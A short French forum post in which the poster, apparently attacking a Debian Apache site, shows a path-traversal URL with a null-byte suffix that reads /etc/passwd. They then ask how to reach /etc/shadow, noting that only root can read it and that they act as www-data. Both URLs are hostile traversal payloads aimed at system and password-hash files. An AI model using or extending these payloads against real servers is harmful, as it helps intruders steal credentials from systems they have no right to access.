Fichier shadow sur un serveur web

Bonjour



Sur un serveur web sous debian « apache2 » si je peux lire le fichier /etc/passwd

http://www.site.com/ap/?page==../../../../../../../../etc/passwd%00&idc=30&annee=2005%20HTTP/1.0

Comment je pourrais faire pour lire le fichier shadow

http://www.site.com/ap/?page==../../../../../../../../etc/shadow%00&idc=30&annee=2005%20HTTP/1.0

je pense que j’arrive a lire le fichier passwd avec les droit utilisateur du user www-data

Le fichier shadow il ya que le user root qui peut le lire ou le modifier !!!!!!!!!!!!!!!


???